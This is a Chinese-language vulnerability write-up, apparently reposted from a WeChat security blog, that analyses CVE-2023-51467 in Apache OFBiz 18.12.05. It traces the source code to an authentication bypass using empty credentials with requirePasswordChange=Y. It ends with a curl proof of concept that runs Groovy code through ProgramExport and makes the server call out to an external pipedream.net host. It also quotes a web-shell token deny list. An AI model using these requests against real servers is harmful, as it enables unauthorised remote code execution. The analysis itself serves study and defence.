分析 CVE-2023-51467 – Apache OFBiz 身份验证绕过远程代码执行


分析 CVE-2023-51467 - Apache OFBiz 身份验证绕过远程代码执行
介绍
Apache OFBiz 是一种开源企业资源规划 (ERP) 解决方案,具有一套旨在简化和自动化各种业务流程的应用程序。值得注意的是,最近的一项发现揭示了 Apache OFBiz 中的一个关键身份验证绕过漏洞,最终使系统暴露于远程代码执行 (CVE-2023-51467)。本文旨在探讨此漏洞的详细信息,并解释构建导致远程代码执行的漏洞的过程。

安装和配置 OFBiz
从官方Apache OFBiz Github存储库下载18.12.05版本并继续进行本地安装。出于本文的目的,我将使用 Intellij IDEA 社区版来浏览代码库。
分析 CVE-2023-51467 - Apache OFBiz 身份验证绕过远程代码执行
通过目录探索,我们可以看到docs目录通常包含有趣的信息,包括项目结构、架构/设计和开发人员手册的详细信息。这有助于更好地理解核心框架。值得注意的是,在“docs”目录中,该developer-manual.adoc文件包含对项目结构的深入了解
Apache OFBiz 的基本目录结构组织如下:
Apache OFBiz├── framework/ - Core framework of OFBiz ├── base - Fundamental framework components and services. ├── common - Resources and utilities used throughout the framework ├── entity - Entity engine and data access ├── webapp - Web application components ├── webtools - Contains webtools ├── component-load.xml - ├── applications/ - Various app components with each having subdirectory containing configuration files, entity definitions etc ...├── runtime/ - Runtime config files, logs, cache├── plugins/ - External plugins to extend framework abilities
Apache OFBiz 中的一个基本单元称为component。组件至少是一个文件夹,其中包含一个名为ofbiz-component.xml 根据文档,典型的组件具有以下目录结构。
component-name-here/├── config/ - Properties and translation labels (i18n)├── data/ - XML data to load into the database├── entitydef/ - Defined database entities├── groovyScripts/ - A collection of scripts written in Groovy├── minilang/ - A collection of scripts written in minilang (deprecated)├── ofbiz-component.xml - The OFBiz main component configuration file├── servicedef - Defined services.├── src/ ├── docs/ - component documentation source └── main/java/ - java source code └── test/java/ - java unit-tests├── testdef - Defined integration-tests├── webapp - One or more Java webapps including the control servlet└── widget - Screens, forms, menus and other widgets
这里值得注意的一个有趣的事情是groovyScripts包含用 Groovy 编写的脚本集合的目录。如果我们可以用我们控制的内容编辑或触发 Groovy 文件,绕过身份验证,我们将能够实现远程代码执行。

了解补丁
OFBiz 使用一个非常简单的补丁修复了该漏洞,就像用 webapp/control 目录中的UtilValidate.isEmpty()文件中的函数替换直接空检查一样简单LoginWorker.java。所以寻找漏洞的主要文件是org.apache.ofbiz.webapp.control.LoginWorker#checkLogin

探索 checkLogin()
让我们逐行查看checkLogin()代码以了解如何处理身份验证:

文件:ofbiz-framework-release18.12.05/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java
323: public static String checkLogin(HttpServletRequest request, HttpServletResponse response) {324: GenericValue userLogin = checkLogout(request, response);325: // have to reget this because the old session object will be invalid326: HttpSession session = request.getSession();327: 328: String username = null;329: String password = null;330: String token = null;331: 332: if (userLogin == null) {333: // check parameters334: username = request.getParameter("USERNAME");335: password = request.getParameter("PASSWORD");336: token = request.getParameter("TOKEN");337: // check session attributes338: if (username == null) username = (String) session.getAttribute("USERNAME");339: if (password == null) password = (String) session.getAttribute("PASSWORD");340: if (token == null) token = (String) session.getAttribute("TOKEN");
  1. checkLogin()方法首先调用另一个方法checkLogout()来验证用户是否已注销。结果存储在名为 userLogin 的 GenericValue 对象中。
  2. 然后,代码检索 HttpSession 对象,该对象用于管理用户的会话特定信息。
  3. 三个变量,即usernamepassword、 和token被初始化为null。这些变量将用于存储用户凭据。
  4. 如果 userLogin 为null,则意味着用户尚未登录。代码将继续检查请求参数(USERNAME、PASSWORD 和 TOKEN)以及用户凭据的会话属性。

我们能发现上面代码中的错误吗?
如果我们发送带有参数但没有值的GET 请求,会发生什么情况username?所有参数都已定义但为空,这意味着它只是!passwordtokennot nullempty
EX:http://localhost:8443/something?USERNAME&PASSWORD

文件:ofbiz-framework-release18.12.05/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java
342: // in this condition log them in if not already; if not logged in or can't log in, save parameters and return error 343: if (username == null 344: || (password == null && token == null) 345: || "error".equals(login(request, response))) { 346: 347: // make sure this attribute is not in the request; this avoids infinite recursion when a login by less stringent criteria (like not checkout the hasLoggedOut field) passes; this is not a normal circumstance but can happen with custom code or in funny error situations when the userLogin service gets the userLogin object but runs into another problem and fails to return an error 348: request.removeAttribute("_LOGIN_PASSED_"); 349: 350: // keep the previous request name in the session 351: session.setAttribute("_PREVIOUS_REQUEST_", request.getPathInfo()); 352: 353: // NOTE: not using the old _PREVIOUS_PARAMS_ attribute at all because it was a security hole as it was used to put data in the URL (never encrypted) that was originally in a form field that may have been encrypted 354: // keep 2 maps: one for URL parameters and one for form parameters 355: Map<String, Object> urlParams = UtilHttp.getUrlOnlyParameterMap(request); 356: if (UtilValidate.isNotEmpty(urlParams)) { 357: session.setAttribute("_PREVIOUS_PARAM_MAP_URL_", urlParams); 358: } 359: Map<String, Object> formParams = UtilHttp.getParameterMap(request, urlParams.keySet(), false); 360: if (UtilValidate.isNotEmpty(formParams)) { 361: session.setAttribute("_PREVIOUS_PARAM_MAP_FORM_", formParams); 362: } 363: 364: //if (Debug.infoOn()) Debug.logInfo("checkLogin: PathInfo=" + request.getPathInfo(), module); 365: 366: return "error"; 367: } 368: }
5.如果任何必需的凭据(用户名、密码或令牌)等于null或者如果登录方法返回error状态,则代码将执行以下操作:
  1. 删除属性 ( _LOGIN_PASSED_ ) 并在会话中设置_PREVIOUS_REQUEST_属性,存储请求的路径。
  2. 将 URL 参数和表单参数存储在会话中单独的映射(_PREVIOUS_PARAM_MAP_URL_和_PREVIOUS_PARAM_MAP_FORM_ )中。
  3. 返回字符串error

探索login()并绕过身份验证
我们可以得出的结论之一checkLogin()是,如果用户名、密码和令牌是not null,那么如果这些方法返回除字符串login()以外的任何内容,那么我们将成功通过应用程序进行身份验证。error因此,让我们探索login()一下是否有一种方法可以强制它返回除 之外的任何其他字符串error

文件:ofbiz-framework-release18.12.05/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/LoginWorker.java
391: public static String login(HttpServletRequest request, HttpServletResponse response) { 392: HttpSession session = request.getSession(); 393: 394: // Prevent session fixation by making Tomcat generate a new jsessionId (ultimately put in cookie). 395: if (!session.isNew()) { // Only do when really signing in. 396: request.changeSessionId(); 397: } 398: 399: Delegator delegator = (Delegator) request.getAttribute("delegator"); 400: String username = request.getParameter("USERNAME"); 401: String password = request.getParameter("PASSWORD"); 402: String token = request.getParameter("TOKEN"); 403: String forgotPwdFlag = request.getParameter("forgotPwdFlag"); 404: 405: // password decryption 406: EntityCrypto entityDeCrypto = null; 407: try { 408: entityDeCrypto = new EntityCrypto(delegator, null); 409: } catch (EntityCryptoException e1) { 410: Debug.logError(e1.getMessage(), module); 411: } 412: 413: if(entityDeCrypto != null && "true".equals(forgotPwdFlag)) { 414: try { 415: Object decryptedPwd = entityDeCrypto.decrypt(keyValue, ModelField.EncryptMethod.TRUE, password); 416: password = decryptedPwd.toString(); 417: } catch (GeneralException e) { 418: Debug.logError(e, "Current Password Decryption failed", module); 419: } 420: } 421: 422: if (username == null) username = (String) session.getAttribute("USERNAME"); 423: if (password == null) password = (String) session.getAttribute("PASSWORD"); 424: if (token == null) token = (String) session.getAttribute("TOKEN");
  1. 该方法首先从请求参数中检索委托人、用户名、密码、令牌以及指示密码是否正在重置的标志 ( forgotPwdFlag)。

  2. 如果forgotPwdFlag设置为true,它将尝试使用 EntityCrypto 实例解密密码。如果请求中缺少任何参数(用户名、密码或令牌),它会尝试从会话属性中检索它们。

426: // allow a username and/or password in a request attribute to override the request parameter or the session attribute; this way a preprocessor can play with these a bit... 427: if (UtilValidate.isNotEmpty(request.getAttribute("USERNAME"))) { 428: username = (String) request.getAttribute("USERNAME"); 429: } 430: if (UtilValidate.isNotEmpty(request.getAttribute("PASSWORD"))) { 431: password = (String) request.getAttribute("PASSWORD"); 432: } 433: if (UtilValidate.isNotEmpty(request.getAttribute("TOKEN"))) { 434: token = (String) request.getAttribute("TOKEN"); 435: } 436: 437: List<String> unpwErrMsgList = new LinkedList<String>(); 438: if (UtilValidate.isEmpty(username)) { 439: unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.username_was_empty_reenter", UtilHttp.getLocale(request))); 440: } 441: if (UtilValidate.isEmpty(password) && UtilValidate.isEmpty(token)) { 442: unpwErrMsgList.add(UtilProperties.getMessage(resourceWebapp, "loginevents.password_was_empty_reenter", UtilHttp.getLocale(request))); 443: } 444: boolean requirePasswordChange = "Y".equals(request.getParameter("requirePasswordChange")); 445: if (!unpwErrMsgList.isEmpty()) { 446: request.setAttribute("_ERROR_MESSAGE_LIST_", unpwErrMsgList); 447: return requirePasswordChange ? "requirePasswordChange" : "error"; 448: }
3.该代码允许用户名、密码和令牌被请求属性中设置的值覆盖。
4.它检查是否缺少usernamepasswordtoken并填充名为 的错误消息列表unpwErrMsgList。如果存在错误,它会在请求属性中设置错误消息并返回 或rerequirePasswordChange,具体取决于请求参数中error的值。requirePasswordChange

requirePasswordChange这正是我们所需要的,如果我们显式地将to的值设置Yusernamepassword,那么 login() 函数将返回requirePasswordChange而不是返回error,从而导致代码的成功路径!

触发漏洞:
为了触发该漏洞,我们首先需要了解应用程序的架构,并了解如何在绕过身份验证后触发groovyScript,本质上是获得RCE。

架构图
从开发人员手册内的 docs 目录中,我们可以看到一个架构图,解释了如何通过 OFBiz 路由请求。
分析 CVE-2023-51467 - Apache OFBiz 身份验证绕过远程代码执行
进一步阅读文档,我们可以看到一些有趣的事情:
Java Servlet 容器 (tomcat) 通过 web.xml 将传入请求重新路由到称为控制 servlet 的特殊 OFBiz servlet。每个OFBiz 组件的控制servlet 在webapp 文件夹下的controller.xml 中定义。路由的主要配置发生在controller.xml 中。该文件的目的是将请求映射到响应。
web.xml因此,OFBiz 本质上使用 Apache tomcat 作为其核心 Web 服务器,通过控制 servlet重新路由传入请求。每个组件的控制服务器都在 中定义controller.xml,这是一个定义请求处理程序的中央配置文件,负责处理传入的请求。因此,为了充分理解请求映射的工作原理,我们需要查看 3 个 xml 文件,即ofbiz-component.xmlweb.xmlcontroller.xml。让我们举个例子/framework/webtools来理解这一点:

ofbiz-component.xml
让我们探索一下该ofbiz-component.xml文件:

文件:ofbiz-framework-release18.12.05/framework/webtools/ofbiz-component.xml
30: <webapp name="webtools"31: title="WebTools"32: position="12"33: server="default-server"34: location="webapp/webtools"35: base-permission="OFBTOOLS,WEBTOOLS"36: mount-point="/webtools"/>
因此我们可以得出结论,访问框架的 webtools 目录的挂载点是点击/webtools

Web.xml
让我们探索一下该web.xml文件,特别是控制 servlet 映射:

文件:ofbiz-framework-release18.12.05/framework/webtools/webapp/webtools/WEB-INF/web.xml
102: <servlet>103: <description>Main Control Servlet</description>104: <display-name>ControlServlet</display-name>105: <servlet-name>ControlServlet</servlet-name>106: <servlet-class>org.apache.ofbiz.webapp.control.ControlServlet</servlet-class>107: <load-on-startup>1</load-on-startup>108: </servlet>109: <servlet-mapping>110: <servlet-name>ControlServlet</servlet-name>111: <url-pattern>/control/*</url-pattern>112: </servlet-mapping>
  • servlet-name指定 servlet 的名称,在本例中,ControlServlet
  • servlet-class指定控制 servlet 的完全限定类名 ( org.apache.ofbiz.webapp.control.ControlServlet)。
  • url-pattern定义 servlet 映射到的 URL 模式。在这里,它是 /control/*,意味着控制 servlet 将处理 URL 以 开头的请求/control/
所以这意味着请求映射当前看起来像/webtools/control.

controller.xml
让我们探索一下该controller.xml文件:

文件:ofbiz-framework-release18.12.05/framework/webtools/webapp/webtools/WEB-INF/controller.xml
65: <request-map uri="ping">66: <security auth="true"/>67: <event type="service" invoke="ping"/>68: <response name="error" type="view" value="ping"/>69: <response name="success" type="view" value="ping"/>70: </request-map>..419: <request-map uri="ProgramExport">420: <security https="true" auth="true"/>421: <response name="success" type="view" value="ProgramExport"/>422: <response name="error" type="view" value="ProgramExport"/>423: </request-map>
从上面的文件中,
  • 在本例中,这些request-map元素定义了特定 URI 的映射ping
  • security元素指定与安全相关的属性。auth=true表示访问端点时必须进行身份验证/ping
  • event元素定义访问指定 URI 时要触发的事件。
  • response元素指定要返回的响应。

很明显,为了访问/ping端点,我们需要进行身份验证并访问以下 API 端点/webtools/control/ping。启动浏览器并访问https://localhost:8443/webtools/control/ping会将我们重定向到登录页面。
让我们更深入地了解如何controller.xml解析。通过 grep 浏览controller.xml的源代码,我们可以看到一些有趣的结果:
grep -r "controller.xml" . --include "*.java"
上述命令的结果将为我们提供一个包含controller.xml作为字符串的所有java文件的列表。
./framework/widget/src/main/java/org/apache/ofbiz/widget/renderer/ScreenRenderer.java: * @param combinedName A combination of the resource name/location for the screen XML file and the name of the screen within that file, separated by a pound sign ("#"). This is the same format that is used in the view-map elements on the controller.xml file../framework/widget/src/main/java/org/apache/ofbiz/widget/WidgetWorker.java: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/ConfigXMLReader.java: public static final String controllerXmlFileName = "/WEB-INF/controller.xml";./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/ConfigXMLReader.java: // find controller.xml file with webappMountPoint + "/WEB-INF" in the path./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/ConfigXMLReader.java: // look through all controller.xml files and find those with the request-uri referred to by the target./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java: // FIXME: controller.xml errors should throw an exception../framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java: // FIXME: controller.xml errors should throw an exception../framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java: // If we can't read the controller.xml file, then there is no point in continuing../framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java: // If we can't read the controller.xml file, then there is no point in continuing../framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);./framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);./framework/webtools/src/main/java/org/apache/ofbiz/webtools/artifactinfo/ArtifactInfoFactory.java: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);./framework/webtools/src/main/java/org/apache/ofbiz/webtools/artifactinfo/ArtifactInfoFactory.java: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);./framework/webtools/src/main/java/org/apache/ofbiz/webtools/artifactinfo/ControllerRequestArtifactInfo.java: if (location.endsWith("/WEB-INF/controller.xml")) {./framework/webtools/src/main/java/org/apache/ofbiz/webtools/artifactinfo/ControllerViewArtifactInfo.java: if (location.endsWith("/WEB-INF/controller.xml")) {./applications/product/src/main/java/org/apache/ofbiz/product/category/SeoContextFilter.java: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);
从结果中,我们可以看到一些名为ConfigXMLReader.java和的有趣文件RequestHandler.java,它解析了controller.xml。让我们更深入地研究这些文件,看看它如何解析文件并处理传入的请求。

文件:ofbiz-framework-release18.12.05/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/ConfigXMLReader.java
62: public static final String module = ConfigXMLReader.class.getName();63: public static final String controllerXmlFileName = "/WEB-INF/controller.xml";..153: public static URL getControllerConfigURL(ServletContext context) {154: try {155: return context.getResource(controllerXmlFileName);156: } catch (MalformedURLException e) {157: Debug.logError(e, "Error Finding XML Config File: " + controllerXmlFileName, module);158: return null;159: }160: }..458: public static class RequestMap {459: public String uri;460: public String method;461: public boolean edit = true;462: public boolean trackVisit = true;463: public boolean trackServerHit = true;464: public String description;465: public Event event;466: public boolean securityHttps = true;467: public boolean securityAuth = false;468: public boolean securityCert = false;469: public boolean securityExternalView = true;470: public boolean securityDirectRequest = true;471: public Map<String, RequestResponse> requestResponseMap = new HashMap<String, RequestResponse>();472: public Metrics metrics = null;473: 474: public RequestMap(Element requestMapElement) {475: // Get the URI info476: this.uri = requestMapElement.getAttribute("uri");477: this.method = requestMapElement.getAttribute("method");478: this.edit = !"false".equals(requestMapElement.getAttribute("edit"));479: this.trackServerHit = !"false".equals(requestMapElement.getAttribute("track-serverhit"));480: this.trackVisit = !"false".equals(requestMapElement.getAttribute("track-visit"));481: // Check for security482: Element securityElement = UtilXml.firstChildElement(requestMapElement, "security");483: if (securityElement != null) {484: if (!UtilProperties.propertyValueEqualsIgnoreCase("url", "no.http", "Y")) {485: this.securityHttps = "true".equals(securityElement.getAttribute("https"));486: } else {487: String httpRequestMapList = UtilProperties.getPropertyValue("url", "http.request-map.list");488: if (UtilValidate.isNotEmpty(httpRequestMapList)) {489: List<String> reqList = StringUtil.split(httpRequestMapList, ",");490: if (reqList.contains(this.uri)) {491: this.securityHttps = "true".equals(securityElement.getAttribute("https"));492: }493: }494: }495: this.securityAuth = "true".equals(securityElement.getAttribute("auth"));496: this.securityCert = "true".equals(securityElement.getAttribute("cert"));497: this.securityExternalView = !"false".equals(securityElement.getAttribute("external-view"));498: this.securityDirectRequest = !"false".equals(securityElement.getAttribute("direct-request"));499: }500: // Check for event501: Element eventElement = UtilXml.firstChildElement(requestMapElement, "event");502: if (eventElement != null) {503: this.event = new Event(eventElement);504: }505: // Check for description506: this.description = UtilXml.childElementValue(requestMapElement, "description");507: // Get the response(s)508: for (Element responseElement : UtilXml.childElementList(requestMapElement, "response")) {509: RequestResponse response = new RequestResponse(responseElement);510: requestResponseMap.put(response.name, response);511: }512: // Get metrics.513: Element metricsElement = UtilXml.firstChildElement(requestMapElement, "metric");514: if (metricsElement != null) {515: this.metrics = MetricsFactory.getInstance(metricsElement);516: }517: }518: }
因此 configXMLReader.java 解析/WEB-INF/controller.xml并使用 RequestMap 类,该类表示处理特定 HTTP 请求的映射。正如您所看到的,如果auth=true设置了,则在RequestMap对象内部,this.securityAuth设置为true。现在让我们看看RequestHandler.java:

文件:ofbiz-framework-release18.12.05/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java
158: private RequestHandler(ServletContext context) {159: // init the ControllerConfig, but don't save it anywhere, just load it into the cache160: this.controllerConfigURL = ConfigXMLReader.getControllerConfigURL(context);161: try {162: ConfigXMLReader.getControllerConfig(this.controllerConfigURL);163: } catch (WebAppConfigurationException e) {164: // FIXME: controller.xml errors should throw an exception.165: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);166: }167: this.viewFactory = new ViewFactory(context, this.controllerConfigURL);168: this.eventFactory = new EventFactory(context, this.controllerConfigURL);169: 170: this.trackServerHit = !"false".equalsIgnoreCase(context.getInitParameter("track-serverhit"));171: this.trackVisit = !"false".equalsIgnoreCase(context.getInitParameter("track-visit"));172: 173: hostHeadersAllowed = UtilMisc.getHostHeadersAllowed();174: 175: }..240: public void doRequest(HttpServletRequest request, HttpServletResponse response, String chain,241: GenericValue userLogin, Delegator delegator) throws RequestHandlerException, RequestHandlerExceptionAllowExternalRequests {242: 243: if (!hostHeadersAllowed.contains(request.getServerName())) {244: Debug.logError("Domain " + request.getServerName() + " not accepted to prevent host header injection."245: + " You need to set host-headers-allowed property in security.properties file.", module);246: throw new RequestHandlerException("Domain " + request.getServerName() + " not accepted to prevent host header injection."247: + " You need to set host-headers-allowed property in security.properties file.");248: }249:250: final boolean throwRequestHandlerExceptionOnMissingLocalRequest = EntityUtilProperties.propertyValueEqualsIgnoreCase(251: "requestHandler", "throwRequestHandlerExceptionOnMissingLocalRequest", "Y", delegator);252: long startTime = System.currentTimeMillis();253: HttpSession session = request.getSession();254: 255: // Parse controller config.256: try {257: ccfg = new ControllerConfig(getControllerConfig());258: } catch (WebAppConfigurationException e) {259: Debug.logError(e, "Exception thrown while parsing controller.xml file: ", module);260: throw new RequestHandlerException(e);261: }262: 263: // workaround if we are in the root webapp264: String cname = UtilHttp.getApplicationName(request);265: 266: // Grab data from request object to process267: String defaultRequestUri = RequestHandler.getRequestUri(request.getPathInfo());268: 269: String requestMissingErrorMessage = "Unknown request ["270: + defaultRequestUri271: + "]; this request does not exist or cannot be called directly.";272: 273: String path = request.getPathInfo();274: String requestUri = getRequestUri(path);275: String overrideViewUri = getOverrideViewUri(path);276: 277: Collection<RequestMap> rmaps = resolveURI(ccfg, request);278: if (rmaps.isEmpty()) {..
doRequest()处理传入 HTTP 请求的主要函数。
  • 该代码以传入请求的 ServerName(主机标头)开始,该服务器名称位于 hostHeadersAllowed 列表中。如果没有,它会记录一个错误并抛出一个 RequestHandlerException。
  • 然后,它解析该controller.xml文件以获取配置 ( ControllerConfig) 并设置变量,例如应用程序名称 (cname)、默认请求 URI 和路径。调试所有这些变量如何发挥作用的一个好方法是在函数处设置断点doRequest()并逐行执行打印变量和值。
分析 CVE-2023-51467 - Apache OFBiz 身份验证绕过远程代码执行
  • 再往下,它检查解析的请求映射 (rmaps) 集合是否为空,然后继续处理 HTTP 方法。

我们可以继续沿着这条路径前进,直到找到securityAuth触发登录流程的内容:
文件:ofbiz-framework-release18.12.05/framework/webapp/src/main/java/org/apache/ofbiz/webapp/control/RequestHandler.java
482: if (requestMap.securityAuth) {483: // Invoke the security handler484: // catch exceptions and throw RequestHandlerException if failed.485: if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler]: AuthRequired. Running security check. " + showSessionId(request), module);486: ConfigXMLReader.Event checkLoginEvent = ccfg.getRequestMapMap().getFirst("checkLogin").event;487: String checkLoginReturnString = null;488: 489: try {490: checkLoginReturnString = this.runEvent(request, response, checkLoginEvent, null, "security-auth");491: } catch (EventHandlerException e) {492: throw new RequestHandlerException(e.getMessage(), e);493: }494: if (!"success".equalsIgnoreCase(checkLoginReturnString)) {495: // previous URL already saved by event, so just do as the return says...496: eventReturn = checkLoginReturnString;497: // if the request is an ajax request we don't want to return the default login check498: if (!"XMLHttpRequest".equals(request.getHeader("X-Requested-With"))) {499: requestMap = ccfg.getRequestMapMap().getFirst("checkLogin");500: } else {501: requestMap = ccfg.getRequestMapMap().getFirst("ajaxCheckLogin");502: }503: }504: } else {505: String[] loginUris = EntityUtilProperties.getPropertyValue("security", "login.uris", delegator).split(",");506: boolean removePreviousRequest = true;507: for (int i = 0; i < loginUris.length; i++) {508: if (requestUri.equals(loginUris[i])) {509: removePreviousRequest = false;510: }511: }512: if (removePreviousRequest) {513: // Remove previous request attribute on navigation to non-authenticated request514: request.getSession().removeAttribute("_PREVIOUS_REQUEST_");515: }516: }
  • 该代码检查是否requestMap.securityAuth为真,如果是,则调用名为 的安全处理程序checkLogin()
  • 事件的返回值checkLogin()被存储checkLoginReturnString,如果返回值不是success(不区分大小写),则表明身份验证失败。
这意味着如果我们能够返回success checkLogin(),我们的请求将继续!我们已经在本文的第一部分中了解了如何绕过身份验证:)

让我们尝试访问相同的路径,但这次使用我们上面所做的身份验证绕过:https://localhost:8443/webtools/control/ping?USERNAME&PASSWORD=&requirePasswordChange=Y
curl --insecure "https://localhost:8443/webtools/control/ping?USERNAME&PASSWORD=&requirePasswordChange=Y"
这次,应用程序将返回PONG确认我们已成功绕过身份验证,而不是进入登录页面!

远程代码执行
在本文的开头,我们注意到了groovyScripts目录,让我们探索一下该目录,看看它是否可以帮助我们获得RCE。

文件:ofbiz-framework-release18.12.05/framework/webtools/groovyScripts/entity/ProgramExport.groovy
31: String groovyProgram = null 32: recordValues = [] 33: errMsgList = [] 34: 35: if (!parameters.groovyProgram) { 36: groovyProgram = ''' 37: // Use the List variable recordValues to fill it with GenericValue maps. 38: // full groovy syntaxt is available 39: 40: import org.apache.ofbiz.entity.util.EntityFindOptions 41: 42: // example: 43: 44: // find the first three record in the product entity (if any) 45: EntityFindOptions findOptions = new EntityFindOptions() 46: findOptions.setMaxRows(3) 47: 48: List products = delegator.findList("Product", null, null, null, findOptions, false) 49: if (products != null) { 50: recordValues.addAll(products) 51: } 52: 53: 54: ''' 55: parameters.groovyProgram = groovyProgram 56: } else { 57: groovyProgram = parameters.groovyProgram 58: }
程序首先检查指定的参数是否groovyProgram存在,如果不存在则提供默认值。

文件:ofbiz-framework-release18.12.05/framework/webtools/groovyScripts/entity/ProgramExport.groovy
71: ClassLoader loader = Thread.currentThread().getContextClassLoader() 72: def shell = new GroovyShell(loader, binding, configuration) 73: 74: if (UtilValidate.isNotEmpty(groovyProgram)) { 75: try { 76: if (!org.apache.ofbiz.security.SecuredUpload.isValidText(groovyProgram,["import"])) { 77: request.setAttribute("_ERROR_MESSAGE_", "Not executed for security reason") 78: return 79: } 80: shell.parse(groovyProgram) 81: shell.evaluate(groovyProgram) 82: recordValues = shell.getVariable("recordValues") 83: xmlDoc = GenericValue.makeXmlDocument(recordValues) 84: context.put("xmlDoc", xmlDoc) 85: } catch(MultipleCompilationErrorsException e) { 86: request.setAttribute("_ERROR_MESSAGE_", e) 87: return 88: } catch(groovy.lang.MissingPropertyException e) { 89: request.setAttribute("_ERROR_MESSAGE_", e) 90: return 91: } catch(IllegalArgumentException e) { 92: request.setAttribute("_ERROR_MESSAGE_", e) 93: return 94: } catch(NullPointerException e) { 95: request.setAttribute("_ERROR_MESSAGE_", e) 96: return 97: } catch(Exception e) { 98: request.setAttribute("_ERROR_MESSAGE_", e) 99: return 100: } 101: }
AgroovyShell被初始化,最终参数groovyProgram被传递到 groovy shell,有效地执行我们的代码。值得注意的一个有趣的事情是 的用法org.apache.ofbiz.security.SecuredUpload.isValidText(groovyProgram,[“import”]),它本质上是采用我们的参数和第二个参数,即字符串“import”。

文件:ofbiz-framework-release18.12.05/framework/security/src/main/java/org/apache/ofbiz/security/SecuredUpload.java
100: private static final List<String> DENIEDWEBSHELLTOKENS = deniedWebShellTokens();..623: public static boolean isValidText(String content, List<String> allowed) throws IOException {624: return DENIEDWEBSHELLTOKENS.stream().allMatch(token -> isValid(content, token, allowed));625: }..644: private static List<String> deniedWebShellTokens() {645: String deniedTokens = UtilProperties.getPropertyValue("security", "deniedWebShellTokens");646: return UtilValidate.isNotEmpty(deniedTokens) ? StringUtil.split(deniedTokens, ",") : new ArrayList<>();647: }
isValidText() 内部调用DENIEDWEBSHELLTOKENS.stream(),它只不过是deniedWebShellTokens()一个函数,它似乎是根据某些预定义的属性值返回的。

文件:ofbiz-framework-release18.12.05/framework/security/config/security.properties
deniedWebShellTokens=freemarker,import="java,runtime.getruntime().exec(,<%@ page,<script,<body>,<form,php,javascript,%eval,@eval,import os,passthru,exec,shell_exec,assert,str_rot13,system,phpinfo,base64_decode,chmod,mkdir,fopen,fclose,new file,import,upload,getfilename,download,getoutputstring,readfile
这看起来像是一个简单的基于黑名单的过滤,绕过它将使我们直接执行代码。

POC
curl -vv -X POST "https://localhost:8443/webtools/control/ProgramExport?USERNAME&PASSWORD=test&requirePasswordChange=Y" -d 'groovyProgram=def%20result%20%3D%20%22curl%20https%3A%2F%2Fen3d5squ4eacq.x.pipedream.net%22.execute().text%3B' --insecure

分析 CVE-2023-51467 - Apache OFBiz 身份验证绕过远程代码执行


分析 CVE-2023-51467 - Apache OFBiz 身份验证绕过远程代码执行





感谢您抽出

分析 CVE-2023-51467 - Apache OFBiz 身份验证绕过远程代码执行

.

分析 CVE-2023-51467 - Apache OFBiz 身份验证绕过远程代码执行

.

分析 CVE-2023-51467 - Apache OFBiz 身份验证绕过远程代码执行

来阅读本文

分析 CVE-2023-51467 - Apache OFBiz 身份验证绕过远程代码执行

点它,分享点赞在看都在这里

原文始发于微信公众号(Ots安全):分析 CVE-2023-51467 – Apache OFBiz 身份验证绕过远程代码执行

版权声明:admin 发表于 2024年2月28日 上午9:01。
转载请注明:分析 CVE-2023-51467 – Apache OFBiz 身份验证绕过远程代码执行 | CTF导航

相关文章